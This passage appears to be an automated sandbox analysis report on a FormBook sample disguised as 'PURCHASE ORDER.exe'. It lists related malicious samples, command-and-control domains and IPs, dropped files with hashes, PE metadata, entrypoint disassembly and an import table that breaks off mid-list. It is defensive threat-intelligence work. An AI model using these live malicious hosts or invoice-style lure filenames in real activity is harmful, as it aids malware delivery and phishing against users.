                                                                        • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                        • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                        • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                        • VT rate limit hit for: PURCHASE ORDER.exe

                                                                        Simulations

                                                                        Behavior and APIs

                                                                        TimeTypeDescription
                                                                        09:16:05API Interceptor5625333x Sleep call for process: TapiUnattend.exe modified

                                                                        Joe Sandbox View / Context

                                                                        IPs

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        156.242.132.82NVOICE FOR THE MONTH OF AUG-24.exeGet hashmaliciousFormBookBrowse
                                                                        • www.shanhaiguan.net/p2q3/
                                                                        DEBIT NOTE 01ST SEP 2024.exeGet hashmaliciousFormBookBrowse
                                                                        • www.shanhaiguan.net/p2q3/
                                                                        PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                                                        • www.shanhaiguan.net/p2q3/
                                                                        136.143.186.12z4Shipping_document_pdf.exeGet hashmaliciousFormBookBrowse
                                                                        • www.lanxuanz.tech/1q08/
                                                                        NVOICE FOR THE MONTH OF AUG-24.exeGet hashmaliciousFormBookBrowse
                                                                        • www.lanxuanz.tech/ivo1/
                                                                        DEBIT NOTE 01ST SEP 2024.exeGet hashmaliciousFormBookBrowse
                                                                        • www.lanxuanz.tech/ivo1/
                                                                        PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                                                        • www.lanxuanz.tech/ivo1/
                                                                        x.exeGet hashmaliciousFormBookBrowse
                                                                        • www.lanxuanz.tech/em49/
                                                                        bin.exeGet hashmaliciousFormBookBrowse
                                                                        • www.lanxuanz.tech/em49/
                                                                        PR44238-43433.exeGet hashmaliciousFormBookBrowse
                                                                        • www.jrksa.info/nq8t/
                                                                        w3xlXm0r8W.exeGet hashmaliciousFormBookBrowse
                                                                        • www.novaminds.online/ephb/?xN6PGj=vLmbgoHRNfK6ITOjmiLFGNRbChMUzx7XLdCca8olfY2Nxc16AQQbup47Ltpv+Aaivc7Y&_0DPe6=UHL0NdrXCvl
                                                                        RFQ-9877678-9988876509886546887.exeGet hashmaliciousFormBookBrowse
                                                                        • www.jrksa.info/nq8t/
                                                                        RFQ-9877678-9988876509886546884.exeGet hashmaliciousFormBookBrowse
                                                                        • www.jrksa.info/nq8t/
                                                                        199.192.21.169update SOA.exeGet hashmaliciousFormBookBrowse
                                                                        • www.technectar.top/ghvt/
                                                                        NVOICE FOR THE MONTH OF AUG-24.exeGet hashmaliciousFormBookBrowse
                                                                        • www.selftip.top/85su/
                                                                        RFQ - HTS45785-24-0907I000.exeGet hashmaliciousFormBookBrowse
                                                                        • www.zenscape.top/d8cw/
                                                                        Request for Quotation Hi-Tech Park Project 193200.exeGet hashmaliciousFormBookBrowse
                                                                        • www.zenscape.top/d8cw/
                                                                        DEBIT NOTE 01ST SEP 2024.exeGet hashmaliciousFormBookBrowse
                                                                        • www.selftip.top/85su/
                                                                        DCP11-83642024..exeGet hashmaliciousFormBookBrowse
                                                                        • www.urbanpulse.help/r50h/
                                                                        PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                                                        • www.selftip.top/85su/
                                                                        SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exeGet hashmaliciousFormBookBrowse
                                                                        • www.zenscape.top/d8cw/
                                                                        file.exeGet hashmaliciousFormBookBrowse
                                                                        • www.urbanpulse.help/r50h/
                                                                        INV & BANK DETAILS LETTER.pdf.exeGet hashmaliciousFormBookBrowse
                                                                        • www.cenfresh.life/6iok/

                                                                        Domains

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        www.selftip.topNVOICE FOR THE MONTH OF AUG-24.exeGet hashmaliciousFormBookBrowse
                                                                        • 199.192.21.169
                                                                        DEBIT NOTE 01ST SEP 2024.exeGet hashmaliciousFormBookBrowse
                                                                        • 199.192.21.169
                                                                        PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                                                        • 199.192.21.169
                                                                        www.aaavvejibej.bondSHIPPING_DOCUMENTS.VBS.vbsGet hashmaliciousFormBookBrowse
                                                                        • 172.67.181.150
                                                                        NVOICE FOR THE MONTH OF AUG-24.exeGet hashmaliciousFormBookBrowse
                                                                        • 172.67.181.150
                                                                        DEBIT NOTE 01ST SEP 2024.exeGet hashmaliciousFormBookBrowse
                                                                        • 172.67.181.150
                                                                        PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                                                        • 104.21.31.249
                                                                        zhs.zohosites.comz4Shipping_document_pdf.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        NVOICE FOR THE MONTH OF AUG-24.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        DEBIT NOTE 01ST SEP 2024.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        x.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        bin.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        PR44238-43433.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        w3xlXm0r8W.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        RFQ-9877678-9988876509886546887.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        RFQ-9877678-9988876509886546884.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12

                                                                        ASNs

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        POWERLINE-AS-APPOWERLINEDATACENTERHKProduct Data Specifications_PDF.exeGet hashmaliciousFormBookBrowse
                                                                        • 45.114.171.236
                                                                        NVOICE FOR THE MONTH OF AUG-24.exeGet hashmaliciousFormBookBrowse
                                                                        • 156.242.132.82
                                                                        rAGROTIS10599242024.exeGet hashmaliciousFormBookBrowse
                                                                        • 154.215.72.110
                                                                        QlHhDu2uh1.exeGet hashmaliciousFormBookBrowse
                                                                        • 45.114.171.236
                                                                        oO3ZmCAeLQ.exeGet hashmaliciousFormBookBrowse
                                                                        • 154.215.72.110
                                                                        FvYlbhvZrZ.rtfGet hashmaliciousFormBookBrowse
                                                                        • 154.215.72.110
                                                                        SecuriteInfo.com.Win32.SuspectCrc.23106.21095.xlsxGet hashmaliciousFormBookBrowse
                                                                        • 154.215.72.110
                                                                        file.exeGet hashmaliciousFormBookBrowse
                                                                        • 154.215.72.110
                                                                        file.exeGet hashmaliciousFormBookBrowse
                                                                        • 154.215.72.110
                                                                        DHL Arrive Notice doc pdf.exeGet hashmaliciousFormBookBrowse
                                                                        • 160.124.205.227
                                                                        ZOHO-ASUSz4Shipping_document_pdf.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        Callus+1(814)-310-9943.pdfGet hashmaliciousPayPal PhisherBrowse
                                                                        • 136.143.190.180
                                                                        NVOICE FOR THE MONTH OF AUG-24.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        DEBIT NOTE 01ST SEP 2024.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        https://linklock.titanhq.com/analyse?url=https%3A%2F%2Femaze.me%2Fzinninsurance%23untitled2&data=eJxdjMEKwjAQRL-mOYa20RgPOXgpVUT8hbgJGEw2ZbNB6NebszCHN_BmwGp1Pk1HbUZtzCS8hYK1JQYXSELJItv5vj4q4fN6W7-iWiqviMNhpOY_ETcqvgHHvpIYWJCFlEtCR135_2r2zbzVQV2GeekJ2e1B5tBxj4ix2-QQelcNOXIKfv4BXds4OQ%%Get hashmaliciousUnknownBrowse
                                                                        • 204.141.43.190
                                                                        PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        x.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        bin.exeGet hashmaliciousFormBookBrowse
                                                                        • 136.143.186.12
                                                                        https://americanathletic.zohodesk.com/portal/en/kb/articles/secure-business-documentsGet hashmaliciousUnknownBrowse
                                                                        • 136.143.191.172
                                                                        x86.elfGet hashmaliciousUnknownBrowse
                                                                        • 165.173.254.246
                                                                        NAMECHEAP-NETUSSHIPPING_DOCUMENTS.VBS.vbsGet hashmaliciousFormBookBrowse
                                                                        • 162.213.249.216
                                                                        payment copy.exeGet hashmaliciousFormBookBrowse
                                                                        • 162.0.238.238
                                                                        ELECTRONIC RECEIPT_Opcsa.htmlGet hashmaliciousEvilProxy, HTMLPhisherBrowse
                                                                        • 199.188.203.125
                                                                        invoice.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                        • 198.54.114.247
                                                                        Arrival Notice_pdf.exeGet hashmaliciousFormBookBrowse
                                                                        • 162.0.238.238
                                                                        z4Shipping_document_pdf.exeGet hashmaliciousFormBookBrowse
                                                                        • 162.0.238.246
                                                                        update SOA.exeGet hashmaliciousFormBookBrowse
                                                                        • 199.192.21.169
                                                                        shipping documents_pdf.exeGet hashmaliciousFormBookBrowse
                                                                        • 162.213.249.216
                                                                        Shipping Documents_pdf.exeGet hashmaliciousFormBookBrowse
                                                                        • 162.0.238.238
                                                                        Quote #260924.exeGet hashmaliciousFormBookBrowse
                                                                        • 162.0.238.43
                                                                        CLOUDFLARENETUSwebNY0O9Sr.exeGet hashmaliciousLummaCBrowse
                                                                        • 104.21.16.12
                                                                        klFMCT64RF.exeGet hashmaliciousLummaCBrowse
                                                                        • 172.67.183.74
                                                                        EKAHephXb2.exeGet hashmaliciousLummaC, Go Injector, LummaC StealerBrowse
                                                                        • 172.67.209.193
                                                                        webNY0O9Sr.exeGet hashmaliciousLummaCBrowse
                                                                        • 172.67.209.193
                                                                        klFMCT64RF.exeGet hashmaliciousLummaCBrowse
                                                                        • 172.67.183.74
                                                                        IGAnbXyZVx.exeGet hashmaliciousLummaC, Go Injector, LummaC StealerBrowse
                                                                        • 104.21.16.12
                                                                        EKAHephXb2.exeGet hashmaliciousLummaC, Go Injector, LummaC StealerBrowse
                                                                        • 104.21.16.12
                                                                        N65c8rwdal.exeGet hashmaliciousLummaC, Go Injector, LummaC StealerBrowse
                                                                        • 104.21.16.12
                                                                        7wN7BF7WfX.exeGet hashmaliciousLummaC, Go Injector, LummaC StealerBrowse
                                                                        • 172.67.209.193
                                                                        BW4pTs1x3V.exeGet hashmaliciousLummaC, Go Injector, LummaC StealerBrowse
                                                                        • 104.21.16.12

                                                                        JA3 Fingerprints

                                                                        ⊘No context

                                                                        Dropped Files

                                                                        ⊘No context

                                                                        Created / dropped Files

                                                                        C:\Users\user\AppData\Local\Temp\H05Y8H-I

                                                                        Download File
                                                                        Process:C:\Windows\SysWOW64\TapiUnattend.exe
                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
                                                                        Category:dropped
                                                                        Size (bytes):196608
                                                                        Entropy (8bit):1.121297215059106
                                                                        Encrypted:false
                                                                        SSDEEP:384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
                                                                        MD5:D87270D0039ED3A5A72E7082EA71E305
                                                                        SHA1:0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
                                                                        SHA-256:F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
                                                                        SHA-512:18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
                                                                        Malicious:false
                                                                        Reputation:high, very likely benign file
                                                                        Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                        C:\Users\user\AppData\Local\Temp\inhumation

                                                                        Download File
                                                                        Process:C:\Users\user\Desktop\PURCHASE ORDER.exe
                                                                        File Type:data
                                                                        Category:dropped
                                                                        Size (bytes):288768
                                                                        Entropy (8bit):7.992668530148433
                                                                        Encrypted:true
                                                                        SSDEEP:6144:rHKopgrbiaILa536ltRhuRZM32NHvvXSCq+OGaIvo8L+6oqJC1JfyhSGen7:rSm/L66zRhGHvP++OFIC6xC1lyhQ
                                                                        MD5:AE6477E6834AAEBD51FAEC7E20C6F9E1
                                                                        SHA1:E5A30758E7263685A9B94555C1D74D77AC2FEEC6
                                                                        SHA-256:9B518460FC54D26A5EE99B77B70591C322A4D4ED4B169112397F1CFE7FAB6E21
                                                                        SHA-512:59944C1349A2E18A624D187661DCE87055CA9DF4729CE262F8590341CC53C6ADA0ECF196B061419E6973F54F192FB0AE9108BAE181131440B3A33EB61B044F2C
                                                                        Malicious:false
                                                                        Reputation:low
                                                                        Preview:.hvk.8ZM4..<.....97...WB...4AT23948ZM4TJT5X4AT23948ZM4TJT.X4AZ-.74.S...K..y`)=A.IFW=?U9j7T6Z. .Q\.J/#.=$tq.ga9]W\.5WG.TJT5X4A-3:..X=..4-..8S.N....X=.....8S.N....X=.f=)<.8S.T23948ZMd.JTyY5A..Sg48ZM4TJT.X6@_3894n^M4TJT5X4A4&394(ZM4$NT5XtAT"394:ZM2TJT5X4AR23948ZM4$NT5Z4AT23968..4TZT5H4AT2#94(ZM4TJT%X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AzFVA@8ZMp.NT5H4ATd794(ZM4TJT5X4AT239.8Z-4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM4TJT5X4AT23948ZM

                                                                        Static File Info

                                                                        General

                                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                        Entropy (8bit):7.528806317577796
                                                                        TrID:
                                                                        • Win32 Executable (generic) a (10002005/4) 95.11%
                                                                        • AutoIt3 compiled script executable (510682/80) 4.86%
                                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                                        • DOS Executable Generic (2002/1) 0.02%
                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                        File name:PURCHASE ORDER.exe
                                                                        File size:1'356'947 bytes
                                                                        MD5:34f32e2683e75ed582ee75e5bbfb8a7f
                                                                        SHA1:1cde784bc2c51f0d6dba17c76ba86ddb5e933c56
                                                                        SHA256:119f435b8535b2daceeefac46d1917cbaf2e4142ea50ddf3583ed0972e55298c
                                                                        SHA512:a52d4140f3fce40ae6859a43503b77c36857a2356b079f5a8579321223d178646889c84b0dc14c9b5658aa360f776d24bdf878077ec5b7505e31686489474a03
                                                                        SSDEEP:24576:ffmMv6Ckr7Mny5QLOfGl92aUkWz6pyTNpow0qsKRFBgu/JpQ:f3v+7/5QLCGlO310AX/HQ
                                                                        TLSH:C755F112B7D680B2D9A33871297BE32BEB3575194327C5D7A7E02E778F211409B36362
                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

                                                                        File Icon

                                                                        Icon Hash:1733312925935517

                                                                        Static PE Info

                                                                        General

                                                                        Entrypoint:0x416310
                                                                        Entrypoint Section:.text
                                                                        Digitally signed:false
                                                                        Imagebase:0x400000
                                                                        Subsystem:windows gui
                                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                        DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                        Time Stamp:0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
                                                                        TLS Callbacks:
                                                                        CLR (.Net) Version:
                                                                        OS Version Major:5
                                                                        OS Version Minor:0
                                                                        File Version Major:5
                                                                        File Version Minor:0
                                                                        Subsystem Version Major:5
                                                                        Subsystem Version Minor:0
                                                                        Import Hash:aaaa8913c89c8aa4a5d93f06853894da

                                                                        Entrypoint Preview

                                                                        Instruction
                                                                        call 00007F559D0DFC9Ch
                                                                        jmp 00007F559D0D3A6Eh
                                                                        int3
                                                                        int3
                                                                        int3
                                                                        int3
                                                                        int3
                                                                        int3
                                                                        push ebp
                                                                        mov ebp, esp
                                                                        push edi
                                                                        push esi
                                                                        mov esi, dword ptr [ebp+0Ch]
                                                                        mov ecx, dword ptr [ebp+10h]
                                                                        mov edi, dword ptr [ebp+08h]
                                                                        mov eax, ecx
                                                                        mov edx, ecx
                                                                        add eax, esi
                                                                        cmp edi, esi
                                                                        jbe 00007F559D0D3BFAh
                                                                        cmp edi, eax
                                                                        jc 00007F559D0D3D9Ah
                                                                        cmp ecx, 00000100h
                                                                        jc 00007F559D0D3C11h
                                                                        cmp dword ptr [004A94E0h], 00000000h
                                                                        je 00007F559D0D3C08h
                                                                        push edi
                                                                        push esi
                                                                        and edi, 0Fh
                                                                        and esi, 0Fh
                                                                        cmp edi, esi
                                                                        pop esi
                                                                        pop edi
                                                                        jne 00007F559D0D3BFAh
                                                                        pop esi
                                                                        pop edi
                                                                        pop ebp
                                                                        jmp 00007F559D0D405Ah
                                                                        test edi, 00000003h
                                                                        jne 00007F559D0D3C07h
                                                                        shr ecx, 02h
                                                                        and edx, 03h
                                                                        cmp ecx, 08h
                                                                        jc 00007F559D0D3C1Ch
                                                                        rep movsd
                                                                        jmp dword ptr [00416494h+edx*4]
                                                                        nop
                                                                        mov eax, edi
                                                                        mov edx, 00000003h
                                                                        sub ecx, 04h
                                                                        jc 00007F559D0D3BFEh
                                                                        and eax, 03h
                                                                        add ecx, eax
                                                                        jmp dword ptr [004163A8h+eax*4]
                                                                        jmp dword ptr [004164A4h+ecx*4]
                                                                        nop
                                                                        jmp dword ptr [00416428h+ecx*4]
                                                                        nop
                                                                        mov eax, E4004163h
                                                                        arpl word ptr [ecx+00h], ax
                                                                        or byte ptr [ecx+eax*2+00h], ah
                                                                        and edx, ecx
                                                                        mov al, byte ptr [esi]
                                                                        mov byte ptr [edi], al
                                                                        mov al, byte ptr [esi+01h]
                                                                        mov byte ptr [edi+01h], al
                                                                        mov al, byte ptr [esi+02h]
                                                                        shr ecx, 02h
                                                                        mov byte ptr [edi+02h], al
                                                                        add esi, 03h
                                                                        add edi, 03h
                                                                        cmp ecx, 08h
                                                                        jc 00007F559D0D3BBEh

                                                                        Rich Headers

                                                                        Programming Language:
                                                                        • [ASM] VS2008 SP1 build 30729
                                                                        • [ C ] VS2008 SP1 build 30729
                                                                        • [C++] VS2008 SP1 build 30729
                                                                        • [ C ] VS2005 build 50727
                                                                        • [IMP] VS2005 build 50727
                                                                        • [ASM] VS2008 build 21022
                                                                        • [RES] VS2008 build 21022
                                                                        • [LNK] VS2008 SP1 build 30729

                                                                        Data Directories

                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x8cd3c0x154.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9298.rsrc
                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x820000x840.rdata
                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                        Sections

                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                        .text0x10000x800170x802006c20c6bf686768b6f134f5bd508171bcFalse0.5602991615853659data6.634688230255595IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                        .rdata0x820000xd95c0xda00f979966509a93083729d23cdfd2a6f2dFalse0.36256450688073394data4.880040824124099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                        .data0x900000x1a5180x6800e5d77411f751d28c6eee48a743606795False0.1600060096153846data2.2017649896261107IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                        .rsrc0xab0000x92980x9400f6be76de0ef2c68f397158bf01bdef3eFalse0.4896801097972973data5.530303089784181IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                        Resources

                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                        RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                        RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                        RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                        RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                                                                        RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                                                                        RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                                                                        RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                                                                        RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                                                                        RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                                                                        RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                                                                        RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                                                                        RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                                                                        RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                                                                        RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                                                                        RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                                                                        RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                                                                        RT_STRING0xb28380x43adataEnglishGreat Britain0.3733826247689464
                                                                        RT_STRING0xb2c780x5fcdataEnglishGreat Britain0.3087467362924282
                                                                        RT_STRING0xb32780x65cdataEnglishGreat Britain0.34336609336609336
                                                                        RT_STRING0xb38d80x388dataEnglishGreat Britain0.377212389380531
                                                                        RT_STRING0xb3c600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                                                                        RT_GROUP_ICON0xb3db80x84dataEnglishGreat Britain0.6439393939393939
                                                                        RT_GROUP_ICON0xb3e400x14dataEnglishGreat Britain1.15
                                                                        RT_GROUP_ICON0xb3e580x14dataEnglishGreat Britain1.25
                                                                        RT_GROUP_ICON0xb3e700x14dataEnglishGreat Britain1.25
                                                                        RT_VERSION0xb3e880x19cdataEnglishGreat Britain0.5339805825242718
                                                                        RT_MANIFEST0xb40280x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581

                                                                        Imports

                                                                        DLLImport
                                                                        WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                                                                        VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                                                                        WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                        COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                                                                        MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
                                                                        WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                                                                        PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                                                                        USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                                                                        KERNEL32.dllHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, 